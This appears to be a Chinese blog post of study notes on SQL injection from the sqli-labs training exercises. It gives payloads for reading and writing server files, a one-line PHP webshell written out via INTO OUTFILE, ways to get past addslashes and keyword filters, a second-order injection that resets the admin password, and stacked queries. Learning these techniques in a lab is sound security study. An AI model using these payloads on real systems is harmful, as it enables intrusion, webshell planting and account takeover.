补充的一些知识点
Less-7解锁的文件读写注入。
主要用到的函数和语句
-
load_file(fileName)
:读取服务器上指定路径的文件,需要有读取权限,文件路径可以转为16进制 -
LOAD DATA INFILE
:load data infile '/tmp/1.txt' ignore into table test character set gbk fields terminated by 't' lines terminated by 'n'将1.txt 导入到test表中,character set gbk
字符编码为gbk,fields terminated by '\t'
字段以\t
结尾,每行以\n
结尾 -
SELECT ... INTO OUTFILE 'file_name'
:把数据写到文件里,比如插入一句话木马Select <?php @eval($_post[“mima”])?> into outfile "c:\xxx\test.php"
绕过addslashes()
:这个函数的功能是对一些符号进行转义,比如单引号双引号,可以通过编码绕过和宽字节绕过
过滤关键字,比如select union or and 等等
绕过思路:改变大小写 SeLecT uNiON,or、and改为||、&&;编码绕过16进制 url;添加注释/*or*/
Less-24接触到二次注入,先提交一个构造的数据让服务器接收,再通过第二次操作触发注入。例:先注册一个admin'#的账号,然后登陆该账号修改密码,这时候修改的就是admin的密码。sql语句:updata users set password="new_password" where username='admin'#' and .....
堆叠注入
简单的说就是多条sql语句注入,例子:...?id=1';select 1,2,3;
注意:oracle数据库不支持
后面的order by注入语法也差不多,主要就是各种防御方式的组合了,用到的手段其实都是最开始那几关提到的。SQL注入原理就大概了解到这里。下一篇用sqlmap来实战,熟悉sqlmap使用以及巩固注入原理。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。